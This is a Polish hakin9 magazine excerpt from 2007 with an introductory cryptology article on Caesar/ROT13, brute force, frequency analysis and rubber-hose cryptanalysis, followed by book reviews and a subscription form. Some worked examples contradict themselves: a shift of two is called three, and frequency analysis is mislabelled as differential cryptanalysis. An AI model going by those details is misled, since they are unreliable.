szyfrowaniu i niezbędna od odszyfrowania
szyfrogramu.

• Algorytm szyfrujący/deszyfrujący (ang.

cipher): metoda przekształcenia tekstu
jawnego w szyfrogram (i na odwrót) przy
pomocy danego klucza.

• Kryptografia (ang. cryptography): to nauka

zajmująca się tworzeniem algorytmów kryp-
tograficznych (m.in. szyfrujących/deszyfru-
jących).

• Kryptoanaliza (ang. cryptoanalysis): to

nauka zajmująca się technikami łamania
algorytmów kryptograficznych.

• Kryptologia (ang. cryptology): to suma-

ryczne  określenie  kryptografii  i  kryptoana-
lizy. Warto mieć na uwadze, że w literatu-
rze  anglojęzycznej  określenia  kryptologia
i  kryptografia  są  niekiedy  traktowane  jako
synonimy.

Łagodne wprowadzenie do

kryptologii, czyli przygody

Alicji i Bobka

Cezary G. Cerekwicki

stopień trudności

Bezpieczeństwo informacyjne to zagadnienie dużo starsze niż

komputery. Wiele pomysłów, jakie się dziś wykorzystuje, znanych

było jeszcze w starożytności. Już wtedy przewaga informacyjna

była kluczem do sukcesu, czy to politycznego, militarnego, czy

też ekonomicznego. Tak wtedy, tak i dzisiaj, kryptologia zapewnia

metody chronienia cennych informacji przed ciekawskim

Z artykułu dowiesz się

• jak działa jeden z najstarszych używanych do

dzisiaj algorytmów kryptograficznych,

• jak można ten algorytm złamać, używając

wybranych metod kryptoanalitycznych,

• jakie kroki poczyniono przy projektowaniu

nowszych algorytmów, aby nie były podat-
ne na opisane w tym artykule metody ataków
kryptoanalitycznych,

• jakim warsztatem pojęciowym warto dyspo-

nować przed dalszym zgłębianiem tematyki
kryptologii.

Co powinieneś wiedzieć

• tekst napisany jest bardzo prosto, więc do jego

zrozumienia wystarczy elementarne rozumienie
matematyki i umiejętność logicznego myślenia.

Łagodne wprowadzenie do kryptologii

hakin9 Nr 5/2007

www.hakin9.org

Wyobraźmy  sobie  taką  scenkę.
Dyrektor  oddziału  firmy  pisze  tajne
sprawozdanie dla prezesa. Stworzo-
ny  przez  niego  plik  to  tekst  jawny.
Następnie  wyjmuje  z  sejfu  płytę  CD
z kluczem, wkłada ją do komputera i
uruchamia program realizujący odpo-
wiedni  algorytm  szyfrujący.  Efekt
jego pracy to szyfrogram i on właśnie
zostanie wysłany do prezesa pocztą
elektroniczną. Prezes wyjmie ze swo-
jego sejfu swój klucz, uruchomi odpo-
wiedni  program,  który  szyfrogram
zamieni na tekst jawny, nadający się
do przeczytania. Jeśli złośliwa konku-
rencja przechwyci szyfrogram, może
próbować zastosować różne techniki
kryptoanalityczne,  aby  zdobyć  infor-
macje zawarte w sprawozdaniu.

Informacje dla pragnących wie-

dzieć więcej (i czepialskich recen-
zentów):

• nie zawsze znajomość klucza

jest niezbędna do odszyfrowa-
nia wiadomości. Tak byłoby tylko
w przypadku szyfru idealnego,

• istnieją algorytmy, które w ogóle

nie używają klucza (jednak obec-
nie mają raczej wartość historycz-
ną), lub używają wielu kluczy,

• obszar zainteresowania krypto-

grafii  wykracza  poza  samo  szy-
frowanie  i  deszyfrowanie,  obej-
muje także uwierzytelnianie, pod-
pisy  cyfrowe,  kontrolę  dostępu,
dzielenie sekretów czy dowody z
wiedzą  zerową.  Ale  wszystko  w
swoim czasie.

Szyfr Cezara

Szyfr  Cezara  jest  bardzo  prosty.
Szyfrowanie  polega  na  zamienieniu
każdej litery tekstu jawnego na literę
przesuniętą  w  alfabecie  o  n  pozycji
w prawo. Cezar używał n równego 3.
Tak więc literę a zamieniał na d, lite-
rę b na e, c na f i tak dalej.

Zatem słynne powiedzenie Ceza-

ra veni vidi vici zostałoby zakodowa-
ne  do  następującego  kryptogra-
mu  yhql  ylgl  ylfl  (zakładając  alfabet
angielski, co jest oczywistym święto-
kradztwem, równym temu, że, w ską-
dinąd  świetnym  serialu  Rzym,  Rzy-
mianie  mówili  piękną  angielszczy-
zną, zamiast łaciny).

Owo n, czyli ilość przesunięć,

stanowi  w  przypadku  szyfru  Ceza-
ra  klucz.  Osoby  znające  się  trochę
na  komputerach  wiedzą,  że  każda
litera  w  alfabecie  ma  odpowiada-
jący  sobie  numerek  (zwany  kodem
ASCII), zatem dziś takie szyfrowanie
jest  najzwyczajniejszym  w  świecie
dodawaniem.  Możemy  opisać  szyfr
Cezara  następującym  równaniem:

znak kryptogramu = znak tekstu jaw-

nego + klucz.

Mimo swoich słabości (o któ-

rych  za  chwilę)  algorytm  Cezara
jest  używany  do  dzisiaj.  Jedna  z
jego  odmian  występuje  pod  nazwą
ROT13 (jak łatwo się domyślić klu-
czem jest liczba 13) i jest wykorzy-
stywany  m.in.  w  Usenecie,  oczy-
wiście  w  zastosowaniach  niewiele
mających wspólnego z prawdziwym
bezpieczeństwem informacyjnym.

Obsługę szyfrowania/deszyfro-

wania  ROT13  ma  dziś  praktycznie
każdy  czytnik,  więc  zaawansowa-
ni  użytkownicy  Usenetu  wykorzy-
stują  ten  kod  m.in.  w  celu  zasło-
nięcia  części  artykułu,  który  np.
zdradza  zakończenie  książki  czy
filmu  (zwany  w  sieciowym  slangu
spoilerem).  Dzięki  temu  czytelnik
może  podjąć  świadomą  decyzję,
czy chce poznać owo zakończenie,
czy  jednak  nie.  Inne  zastosowanie
to ukrycie części tekstu przed mniej
zaawansowanymi  użytkownikami.

Jeszcze inne to szyfrowanie słów
niecenzuralnych.

Kryptoanaliza szyfru

Cezara

Jako że jest to nasze pierwsze spo-
tkanie  z  kryptoanalizą,  proponuję
na  początek  wyjaśnić  kilka  spraw.
Generalnie  wyróżnić  można  trzy
podstawowe scenariusze kryptoana-
lityczne:

• Atak na szyfrogram (ang. cipher-

text-only  attack).  To  najtrudniej-
szy scenariusz. Mamy do dyspo-
zycji przechwycony kryptogram i
nic  więcej.  Ten  scenariuszu  ma
wariant,  w  którym  znamy  także
algorytm  użyty  do  szyfrowania.
Nie znamy klucza ani tekstu jaw-
nego.

• Atak ze znanym tekstem jawnym

(ang.  known  plaintext  attack).
Mamy do dyspozycji tekst jawny
i  odpowiadający  mu  kryptogram
(albo  i  więcej  takich  par).  Nie
znamy klucza.

• Atak z dowolnym tekstem jawnym

(ang.  chosen  plaintext  attack).
Mamy  do  dyspozycji  urządzenie
szyfrujące, ale nie wiemy jak dzia-
ła. Możemy go używać do szyfro-
wania  wybranych  przez  nas  wia-
domości.  Współczesny  wariant
tego scenariusza jest następujący:
znamy algorytm szyfrujący, może-

Rysunek 1.

Rozkład relatywnych częstości znaków w języku angielskim

0,2000

0,1800

0,1600

0,1400

0,1200

0,1000

0,0800

0,0600

0,0400

0,0200

0,0000

a b c d e f g h i j k l m n o p q r s t u v w x y z sp

hakin9 Nr 5/2007

www.hakin9.org

Narzędzia

my go używać do woli na dowol-
nych  tekstach  i  kluczach.  Celem
jest znalezienie jego słabości, aby-
śmy  byli  zdolni  odszyfrowywać
szyfrogramy,  nie  znając  klucza.
Poniżej  opisuję  wybrane  sposoby
na złamanie szyfru Cezara.

Atak brutalny

(scenariusz ataku na

szyfrogram)

Jeśli  ktoś  odgadnie,  że  mamy  tu
do  czynienia  ze  zwykłym  przesu-
waniem  literek  w  alfabecie,  odkry-
cie  klucza  nie  będzie  już  zadaniem
trudnym.  Możliwości  przesunięcia
(tzn. możliwych wartości klucza) jest
bowiem  tylko  tyle,  ile  liter  w  alfabe-
cie, a więc raptem kilkadziesiąt. Jeśli
więc  sprawdzimy  wszystkie  możliwe
wartości  klucza,  jedna  z  nich  odsło-
ni nam sensowny tekst jawny, a pozo-
stałe  zapewne  bezsensowne  ciągi
znaków.

Tego typu atak na kryptogram,

polegający  na  sprawdzaniu  wszyst-
kich wartości klucza, nazywamy ata-
kiem brutalnym. Nazwa ta wzięła się
stąd,  że  jest  to  technika  stosunko-
wo mało wyrafinowana. Atak brutal-
ny  na  współczesny  algorytm  ozna-
cza wypróbowanie astronomicznych
wręcz ilości kombinacji.

Przed atakiem brutalnym można

się bronić co najmniej na dwa sposo-
by. Pierwszy polega na takim zapro-
jektowaniu  algorytmu  szyfrującego,
że możliwych wartości klucza będzie
zbyt dużo, by dało się je w sensow-
nym  czasie  wypróbować.  Minu-
sem  tego  rozwiązania  jest  zmien-
na  w  czasie  definicja  stwierdzenia

zbyt dużo. Po pierwsze komputery są
coraz szybsze, według prawa Moora
podwajają  swoją  moc  obliczeniową
co  18  miesięcy.  Kryptogramy,  które
były  bezpieczne  w  latach  siedem-
dziesiątych, dziś można łatwo złamać
na  każdym  komputerze.  Po  drugie
wiele współczesnych ataków krypto-
analitycznych  polega  na  zmniejsze-
niu  liczby  koniecznych  do  wypróbo-
wania kombinacji (na skutek znalezie-
nia  określonych  słabości  algorytmu
szyfrującego), zatem samo uwzględ-
nienie prawa Moora może nie wystar-
czyć.  Dodatkową  słabością  takiego

podejścia jest koszt wydajnościowy,
który potrafi rosnąć bardzo szybko
wraz z wydłużaniem klucza.

Druga, nieco bardziej wyrafino-

wana  technika  polega  na  stworze-
niu  takiego  algorytmu,  który  będzie
produkował  kryptogramy  dające  się
odszyfrować  do  więcej  niż  jedne-
go  tekstu  jawnego  (ale  tylko  jeden
z  nich  będzie  prawidłowy).  Zatem,
jeśli  w  wyniku  kryptoanalizy  brutal-
nej  otrzymamy  dla  różnych  kluczy
teksty  jawne  Atak  nastąpi  o  7:00  w

poniedziałek, Atak nastąpi o 8:00 w

niedzielę oraz Atak nastąpi o 5:30 w

środę to de facto nic nam to nie daje,
bo nie wiemy, który z nich jest wła-
ściwy.

Atak brutalny to jedno z naj-

bardziej  ogólnych  narzędzi  krypto-
analitycznych,  ponieważ  teoretycz-
nie  można  nim  atakować  wszystkie
algorytmy szyfrujące, jakie kiedykol-
wiek wymyślono i jakie kiedykolwiek
będą wymyślone. Rzeczywistość jest
nieco bardziej skomplikowana. Trwa-
ją na przykład prace nad takimi meto-
dami  przechowywania  kryptogra-
mów, aby można było tylko raz spró-
bować go odszyfrować, a w przypad-
ku  niepowodzenia  kryptogram  ule-
gałby  bezpowrotnemu  zniszczeniu.
W  takich  warunkach  o  ataku  brutal-
nym nie może być mowy.

Tak na marginesie, metody bru-

talne w informatyce dotyczą nie tylko
łamania szyfrów. Generalnie algoryt-

mem  brutalnym  nazywa  się  każde
podejście,  które  zamiast  jakiegoś
błyskotliwego  przejścia  na  skró-
ty,  polega  na  mozolnym  generowa-
niu wszystkich możliwych rozwiązań
problemu  i  sprawdzaniu,  czy  aku-
rat trafiliśmy we właściwe. Na przy-
kład system Deep Blue, który wygrał
z  mistrzem  świata  Kasparowem  w
szachy,  posługiwał  się  algorytmem
zbudowanym  w  paradygmacie  bru-

talnym, sprawdzając 200 mln posu-
nięć na sekundę.

Analiza częstości

Analiza częstości to technika wyna-
leziona  prawdopodobnie  przez  Ara-
bów  około  tysięcznego  roku  naszej
ery.  Polega  na  liczeniu  częstości
występowania  poszczególnych  zna-

ków w kryptogramie i porównywaniu
ich do częstości znaków w tym języ-
ku naturalnym, w którym – jak sądzi-
my – jest zapisany tekst jawny (np.
polskim, angielskim).

W językach naturalnych nie

wszystkie  literki  są  wykorzystywa-
ne z taką samą częstotliwością. Na
przykład  literka  a  występuje  dużo
częściej,  niż  literka  q.  Dla  dowol-
nego  tekstu  możemy  policzyć,  jaki
jego procent stanowią poszczególne
znaki.  Możemy  też  policzyć  średnie
częstości  dla  danego  języka  natu-
ralnego.

Dane zaczerpnąłem ze strony:

http://www.data-compression.com/

english.html. Jak widać, najczęst-
szym znakiem jest spacja, a w dal-
szej kolejności e.

Relatywne częstości w języku

angielskim wyglądają ogólnie rzecz
biorąc następująco:

•   a – 0,0652
•   b – 0,0124
•   c – 0,0217
•   d – 0,0350
•   e – 0,1041
•   f – 0,0198

Zauważmy  teraz  pewien  fakt:  tekst
zaszyfrowany  algorytmem  Cezara
będzie miał analogiczny rozkład czę-
stości znaków jak tekst jawny, z tym,
że  znaki  będą  poprzesuwane.  Jeśli
wykonamy  analizę  częstości  krypto-
gramu, otrzymamy tabelkę w stylu:

•   c – 0,0691%
•   d – 0,0131%
•   e – 0,0211%
•   f – 0,0348%
•   g – 0,1101%
•   h – 0,0201%

Zauważmy, że c w kryptogramie ma
częstość najbardziej zbliżoną do a w
języku, w którym – jak podejrzewa-
my  –  został  napisany  tekst  jawny.
Dopasowujemy dalej: d w kryptogra-
mie jest najbliżej do b w języku natu-
ralnym. Następnie zauważamy, że e
ma  najbliżej  do  c,  f  ma  najbliżej  do
d  itd.  Ewidentnie  wyłania  się  zależ-
ność: znak kryptogramu = znak tek-

stu jawnego + 2.

Łagodne wprowadzenie do kryptologii

hakin9 Nr 5/2007

www.hakin9.org

Rozpoznajemy zatem algo-

rytm Cezara z kluczem 2. Testuje-
my naszą hipotezę próbując odszy-
frować cały tekst. Hipoteza zostaje
potwierdzona.

Zauważmy, że ta technika ma

zastosowanie  do  wszelkich  pro-
stych  szyfrów  podstawieniowych
(tzn. takich, w których za daną liter-
kę podstawia się dowolną inną, ale
zawsze tę samą literkę). W przypad-
ku  szyfru  Cezara  podstawienia  są
proste, np. dla klucza 3 będzie to:

•   a – c
•   b – d
•   c – e

Możemy sobie wyobrazić inne prze-
kształcenia, nie podlegające już tak
prostemu równaniu, jak w przypadku
szyfru Cezara. Rozważmy na przy-
kład taki schemat:

•   a – x
•   b – e
•   e – d

W  przypadku  takiego  algorytmu
kryptoanaliza  będzie  odrobinę  trud-
niejsza  niż  w  przypadku  szyfru
Cezara, ale analiza częstości i tutaj
da się skutecznie zastosować.

Inne ciekawe zastosowanie ana-

lizy częstości to automatyczne roz-
poznawanie języka, w jakim napi-
sano dany tekst (wykorzystujemy tu
fakt, że rozkład częstości znaków w
poszczególnych językach jest inny).
Tu ciekawostka: w przypadku krypto-
gramów stworzonych przez algoryt-
my nie ukrywające oryginalnego roz-
kładu częstości, możemy rozpoznać
język, w którym napisano tekst jawny
bez rozszyfrowywania!

Aby obronić się przed możliwo-

ścią  kryptoanalizy  różnicowej,  nale-
ży  tak  zaprojektować  algorytm,  aby
ukrywał  rozkład  częstości  w  krypto-
gramie.  Zatem  częstości  znaków  w
kryptogramie powinny być mniej wię-
cej takie same. Innymi słowy: rozkład
prawdopodobieństwa  występowania
poszczególnych znaków w kryptogra-
mie powinien być równomierny.

Wszystkie współcześnie używane

algorytmy charakteryzuje taka wła-

ściwość, zatem rola analizy częstości
jest obecnie niewielka. Tym niemniej,
przez wiele lat technika ta była praw-
dziwym pogromcą szyfrów.

Kryptoanaliza różnicowa

Idea kryptoanalizy różnicowej pole-
ga  na  podawaniu  algorytmowi  róż-
nych tekstów jawnych oraz kluczy i
obserwacji, jak wpłynie to na kryp-
togram.  Kryptoanalityk  próbuje  na
tej podstawie odkryć jakieś (zazwy-
czaj statystyczne) prawidłowości, a
następnie  użyć  ich  do  skuteczniej-
szego zaatakowania algorytmu.

Przeprowadzimy teraz bardzo

naiwną kryptoanalizę różnicową szy-
fru Cezara. Załóżmy, że mamy do
czynienia z algorytmem o stałym, nie-
znanym nam kluczu i mamy dostęp
do urządzenia szyfrującego. Naszym
celem jest odkrycie klucza oraz zasa-
dy działania algorytmu.

Próbujemy zaszyfrować tekst

aaaa, wychodzi nam cccc. Próbuje-
my zaszyfrować bbbb, wychodzi nam

dddd.  W  tej  sytuacji  nietrudno  już
dojść do wniosku, że w kryptogramie
pojawia  się  znak  przesunięty  o  trzy
pozycje  w  alfabecie  w  stosunku  do
znaku tekstu jawnego. Z takiej hipo-
tezy  roboczej  wynika,  że  tekst  abcd
zostanie zaszyfrowany do cdef. Pró-
bujemy więc zaszyfrować tekst abcd.
Otrzymujemy  cdef,  zgodnie  z  naszą
hipotezą. Możemy już teraz zaatako-
wać jakiś prawdziwy kryptogram, np.
korespondencję  Cezara  z  Markiem
Antoniuszem. Jeśli przesunięcie każ-
dego znaku w alfabecie o trzy pozy-
cje do tyłu da nam w rezultacie sen-
sowny tekst, to udało nam się złamać
szyfr: odgadliśmy klucz oraz metodę
szyfrowania i deszyfrowania.

Zauważmy też, że podanie tekstu

jawnego składającego się z liczby

zero (nie mylić ze znakiem 0) zwróci
nam klucz jako kryptogram.

Oczywiście prawdziwa krypto-

analiza różnicowa współczesnych
algorytmów niewiele ma wspólnego z
podanym wyżej przykładem, ale ogól-
na zasada jest podobna. W rzeczywi-
stości szyfruje się testowo gigantycz-
ne ilości tekstów jawnych oraz bada
się ich charakterystyki statystyczne w
poszukiwaniu zależności.

Kryptoanaliza gumowej

pałki

Ta technika polega na uwięzieniu
osoby znającej klucz i biciu jej gumo-
wą pałką, dopóki nie zdradzi klucza.
Choć brzmi to dość żartobliwie (w
końcu czegóż można się spodziewać
od ludzi, którzy zamiast A, B, C, D w
swoich pracach używają słów Alicja,
Bobek, Charlie, Ewa), w rzeczywisto-
ści jest bardzo poważnym obszarem
rozważań osób zajmujących się bez-
pieczeństwem informacyjnym.

W końcu klasyczne pola zasto-

sowania  kryptologii  to  wojskowość
i szpiegostwo, w których wydobywa-
nie informacji przez szantaż czy tortu-
ry nie jest czymś niesłychanym. Dla-
tego podczas drugiej wojny światowej
na  froncie  japońskim  każdy  polowy
technik kryptograf miał swojego opie-
kuna,  którego  zadaniem  było  niedo-
puszczenie do wzięcia żywego tech-
nika w niewolę przez nieprzyjaciela.

Tu też z pomocą przychodzi kryp-

tologia,  dostarczając  takich  narzędzi
jak  dzielenie  sekretów,  silne  uwierzy-
telnienie,  czy  kryptogramy  dające  się
odszyfrować do więcej niż jednego tek-
stu jawnego (schwytany w niewolę ofi-
cer  ma  wówczas  za  zadanie  wyjawić
na  przesłuchaniu  klucz  odsłaniający
specjalnie  spreparowaną  wiadomość
zamiast tej naprawdę istotnej). l

O autorze

Autor z wykształcenia jest informatykiem i politologiem. Pracował jako programi-
sta, administrator, konsultant, tłumacz, koordynator międzynarodowych projektów,
dziennikarz i publicysta. Pisał programy w dziesięciu językach programowania (od
asemblerów po języki skryptowe) w czterech systemach operacyjnych, na dwóch
platformach sprzętowych.
Kontakt z autorem: cerekwicki@tlen.pl

hakin9 Nr 5/2007

www.hakin9.org

Księgozbiór

Tytuł: Wojna informacyjna i bezpieczeństwo informacji

Autor: Dorothy E. Denning

Wydawca: Wydawnictwa Naukowo-Techniczne

Rok: 2002

Stron: 561

Prawo Moore'a mówi, że optymalna ekonomicznie liczba
tranzystorów w układzie scalonym podwaja się co półtora
roku. Analiza szybkości zmian innych parametrów, takich
jak pojemność dysków twardych, szybkość dostępu do
pamięci RAM, czy liczba łatek do nowych wersji naszego
ulubionego systemu operacyjnego, prowadzi do wniosku,
że w informatyce dwa lata to już epoka. Pisanie w 2007
roku recenzji do wydanej w roku 2002 przez WNT książ-
ki Dorothy E. Denning Wojna informacyjna i bezpieczeń-

stwo informacji (której pierwsze amerykańskie wydanie
ukazało się w roku 1999) jest więc poniekąd zadaniem
równie karkołomnym, jak recenzowanie Kroniki polskiej
Galla Anonima. Jakkolwiek teoria bezpieczeństwa nie
zmienia się tak szybko jak moc obliczeniowa proceso-
rów, to jednak od roku 1999 doczekaliśmy się chociażby
powstania i kilku wydań norm ISO poświęconych ochro-
nie informacji, opracowania szeregu metodyk, czy wypro-
dukowania całkiem sporej grupy programów zwiększają-
cych bezpieczeństwo (nie mówiąc już o narzędziach słu-
żących do działań zgoła przeciwnych). Dlatego dziś czy-

tanie uwag o podsłuchiwaniu analogowych sieci komór-
kowych,  64-bitowym  RSA,  czy  błędzie  przepełnienia
bufora  w  demonie  usługi  finger  wywołuje  co  najwyżej
nostalgiczne  westchnienia  za  starymi,  dobrymi  czasa-
mi. Żeby jednak oddać książce sprawiedliwość – należy
stwierdzić  rzecz  następującą:  zawiera  ona  sporą  ilość
rzetelnych  informacji  okraszonych  licznymi  przykłada-
mi, niekiedy o anegdotycznym charakterze, co sprawia,
że czyta się ją łatwo i przyjemnie. A przy tym znajduje-
my w niej solidną dawkę wiedzy. I – podobnie jak po lek-
turze najdawniejszych kronik średniowiecznych – docho-
dzimy do wniosku, że pewne zjawiska i zachowania są
ponadczasowe. Tyle, że kronikarze nie pisywali raczej o
lenistwie administratorów,  dezynwolturze użytkowników i
indolencji wyższej kadry zarządzającej. Ewentualnie o tej
ostatniej zdarzało się zamieścić parę uwag, ale w bardzo
oględnych  słowach  i  tylko  na  przykładzie  nielubianych
sąsiadów. Słowem: komentowana książka warta jest lek-
tury, choć nie można jej zaliczyć do must-read.

Maciej Szmit

Tytuł: Wojna strategiczna w cyberprzestrzeni

Autor: Gregory J. Rattray

Wydawca: Wydawnictwa Naukowo-Techniczne

Rok: 2004(Polskie wydanie) / 2001(Oryginał)

Stron: 541

Ogólnie rzecz ujmując specjaliści od zabezpieczeń kom-
puterowych nie przejmują się zbytnio zagrożeniem wojną.
Można by powiedzieć, że nie obchodzi ich to, gdyż mają
do wykonania inne zadania. Zajmują całą swoją uwagę
na znalezieniu sposobu na zniszczenie nowego wirusa
czy też usiłują wykryć luki w skanowanej sieci. Jednak-
że Internet nie jest już wykorzystywany dzisiaj jedynie
jako źródło informacji. W XXI wieku globalna sieć inter-
netowa może stać się świadkiem wojen cybernetycznych
między mocarstwami. Przez to, że wojsko używa tech-
nologii komputerowej w niemal każdym aspekcie swojej
działalności: komputery sterują odpalaniem głowic jądro-
wych, pilnują granic państwa przed wrogimi siłami, mogą
nawet w połączeniu z wyrzutniami rakiet i radarami dzia-

łać jako tarcza antyrakietowa. A co stałoby się, gdyby to
wszystko nagle przestało działać? Na to pytanie szuka
odpowiedzi autor książki.

Rattray jest podpułkownikiem lotnictwa Stanów Zjed-

noczonych.  Od  sierpnia  2003  roku  pracuje  w  Białym
Domu,  gdzie  (w  Urzędzie  Bezpieczeństwa  Cyberprze-
strzeni)  zajmuje  się  rozwiązywaniem  problemów  praw-
nych, związanych z międzynarodowymi atakami w cyber-
przestrzeni. Dzięki uzyskanym szlifom wojskowym widzi
problem  wojny  cybernetycznej  z  całkiem  innej  strony
– biorąc pod uwagę przede wszystkim bezpieczeństwo
kraju.

Publikacja skupia się na cyfrowych atakach. W pięciu,

odrobinę przydługich, rozdziałach opisuje się kluczowe

Księgozbiór

hakin9 Nr 5/2007

www.hakin9.org

zagadnienia dotyczące wojny cybernetycznej: strategicz-
ną wojnę informacyjną, zrozumienie sposobu jej przepro-
wadzenia,  tworzenie  potencjału  technologiczno-orga-
nizacyjnego,  potrzebnego  do  przeprowadzenia  takiej
wojny, rozwój lotnictwa strategicznego USA w XX wieku
oraz  historię  wojny  informacyjnej,  prowadzonej  przez
USA  w  ciągu  lat  90-tych  W  każdym  rozdziale  znajdują
się  przypisy,  w  których  znaleźć  można  bardzo  ciekawe
odwołania do innych źródeł – książek, filmów, stron inter-
netowych,  dzięki  którym  możemy  zrozumieć  dany  pro-
blem  dokładniej,  spojrzeć  na  niego  z  innej  strony.  Ten,

kto spodziewałby się, że znajdzie tutaj wiele przykła-
dów ataków na sieci informatyczne USA srogo się jednak
zawiedzie.

Mimo że Rattray sceptycznie odnosi się do nie prze-

testowanych  założeń  cyfrowej  wojny,  nie  znaczy  to,  że
groźba  ataku  na  Stany  Zjednoczone  nie  jest  realna.
Wręcz przeciwnie, autor poświęca wiele uwagi technolo-
gicznej podatności systemów komputerowych oraz poli-
tycznym,  ekonomicznym  i  kulturalnym  czynnikom,  jakie
mogą wpływać na przebieg takiej wojny.

Michał Gałka

Tytuł: Rewolucja w kryptografii

Autor: Steven Levy

Wydawca: Wydawnictwa Naukowo-Techniczne

Rok: 2002

Stron: 562

Zagłębiając się w lekturze tej książki można odnieść wra-
żenie, jakby czytało się osadzoną w latach siedemdzie-
siątych powieść szpiegowską. Autor opisuje problemy, z
jakimi  musieli  borykać  się  zwolennicy  kryptografii  (na-
zwani  później  szyfropunkami)  w  czasach,  kiedy  samo
rozmawianie  o  niej  było  zakazane  przez  amerykańskie
instytucje rządowe. Władzom zależało na tym, aby szy-
frowanie pozostawało jedynie dla wewnętrznego użytku.
Chodziło mianowicie o to, by My (rząd, NSA, amerykań-
skie wojsko) mogli się bezpiecznie komunikować, a jed-
nocześnie Oni  (przestępcy, terroryści) nie mieli możliwo-
ści ukrycia tego, o czym rozmawiają i co knują.

Autor przedstawił stanowisko rządu, dla którego szy-

frowanie dostępne dla każdego było zagrożeniem i czyn-
nikiem  negatywnym  (właśnie  z  powodu  niemożności
podsłuchiwania osób działających na szkodę społeczeń-
stwa) i, według wypowiedzi NSA, każdy dzień zwłoki w
związku z udzieleniem zezwolenia na powszechne uży-
wanie silnej kryptografii jest zwycięski. Z tego też powodu
został  zbudowany  układ  clipper,  umożliwiający  stronie
trzeciej dostęp do treści jawnej – tutaj pojawił się wyraź-
ny  sprzeciw  ze  strony  szyfropunków.  Okazuje  się,  że
takie  podejście  narusza  pierwszą  poprawkę  do  konsty-
tucji, co było chyba główną bronią zmierzającą ku temu,
aby  wprowadzić  szyfrowanie  do  użytku  publicznego  i
umożliwić  eksport  programów  szyfrujących  poza  grani-
ce kraju. Cała sytuacja przypomina mi film pt. Kingsajz J.
Machulskiego z tym, że tutaj walka wydaje się być wygra-
na przez polokoktowców (kingsajz dla każdego!).

Książka opisuje nie tylko trudy związane z popularyza-

cją szyfrowania – niemożność wypośrodkowania pomię-
dzy bezpieczeństwem narodu i ochroną prywatności, ale
także problemy stricte matematyczne. Ścieżkę prowadzą-
cą od potrzeby ochrony prywatnej korespondencji, poprzez
matematyczne zagadki, jak budowanie funkcji jednokierun-
kowych, aż po implementację algorytmów szyfrujących, w
takich programach jak lotus notes czy pgp – dziele P. Zim-
mermana i jego błyskawicznej dystrybucji za pośrednic-
twem Internetu. Wspomniana jest także próba implementa-
cji szyfrowania z kluczem publicznym na Z-80.

Wraz ze zgłębianiem treści kolejnych rozdziałów czy-

telnik poznaje osiągnięcia wielkich sław ze świata szy-
frów, takich jak Diffie i Hellman (osławieni twórcy algoryt-
mu wymiany klucza, ale jak się okazuje, nie są pierwszy-
mi, którzy na taki pomysł wpadli) czy trójki Rivest, Shamir
i Adleman (algorytm RSA).

Autor w zgrabny sposób umożliwia nam posklejanie

w całość tego, co do tej pory mogło być znane tylko jako
pojedyncze hasła. Mam tutaj na myśli takie pojęcia jak:
RSA, DES, IDEA, PGP itp.

Przedstawiona została także krótka historia posta-

ci Alice, Bob i ciekawskiej Eve, jako najbardziej chyba
popularnej trójki uczestników szyfrowanego połączenia.

Czytając książkę miałem ochotę odłożyć ją na chwilę

i  przejrzeć  dokumentację  programu  gpg  (co  uczyniłem
jednak  dopiero  po  jej  przeczytaniu).  Zabrakło  mi  nie-
stety  dokładniejszego  omówienia  samych  algorytmów
– schematów i wzorów, co mogłoby być całkiem cieka-
wym  uzupełnieniem  treści  pomieszczonych  w  tej  publi-
kacji. Słowem – Ci, którzy czują w sobie ducha szyfro-
punka, z pewnością zainteresują się pozycją Rewolucje

w kryptografii.

Piotr Kabaciński

Specjalne podziękowania dla Wydawnictwa Naukowo-Technicz-
nego za udostępnienie książek recenzowanych na łamach cza-
sopisma.

Prosimy wypełnić czytelnie i przesłać faksem na numer:

(22) 887 10 11 lub listownie na adres: Software-Wydawnictwo Sp. z o.o.,

Bokserska 1, 02-682 Warszawa, e-mail: pren@software.com.pl. Przyjmujemy też zamówienia telefoniczne:

(22) 887 14 44

Imię i nazwisko............................................................................................ ID kontrahenta..........................................................................................

Nazwa firmy................................................................................................. Numer NIP firmy.......................................................................................

Dokładny adres....................................................................................................................................................................................................................

Telefon (wraz z numerem kierunkowym)................................................... Faks (wraz z numerem kierunkowym) ....................................................

E-mail (niezbędny do wysłania faktury)............................................................................................................................................................................

zamówienie prenumeraty

Cena prenumeraty rocznej dla osób prywatnych

Cena prenumeraty rocznej dla osób prenumerujących już Software Developer’s Journal lub Linux+

Cena prenumeraty dwuletniej Aurox Linux

Jeżeli chcesz zapłacić kartą kredytową, wejdź na

stronę naszego sklepu internetowego:

www.buyitpress.com

automatyczne przedłużenie prenumeraty

Suma

Tytuł

Ilość

numerów

Ilość

zamawianych

prenumerat

Od numeru

pisma lub

miesiąca

Opłata

w zł

z VAT

Software Developer’s Journal (1 płyta CD)

– dawniej Software 2.0

Miesięcznik profesjonalnych programistów

250/180

SDJ Extra

(od 1 do 4 płyt CD lub DVD)

– dawniej Software 2.0 Extra!

Numery tematyczne dla programistów

150/135

Linux+DVD (2 płyty DVD)

Miesięcznik o systemie Linux

199/179

Linux+Extra! (od 1 do 7 płyt CD lub DVD)

Numery specjalne z najpopularniejszymi dystrybucjami Linuksa

232/198

PHP Solutions (1 płyta CD)

Dwumiesięcznik o zastosowaniach języka PHP

135

hakin9, jak się obronić (1 płyta CD)

Miesięcznik o bezpieczeństwie i hakingu

199

/219

.psd (1 płyta CD + film instruktażowy)

Dwumiesięcznik użytkowników programu Adobe Photoshop

140

.psd numery specjalne

(.psd Extra + .psd Starter Kit)

140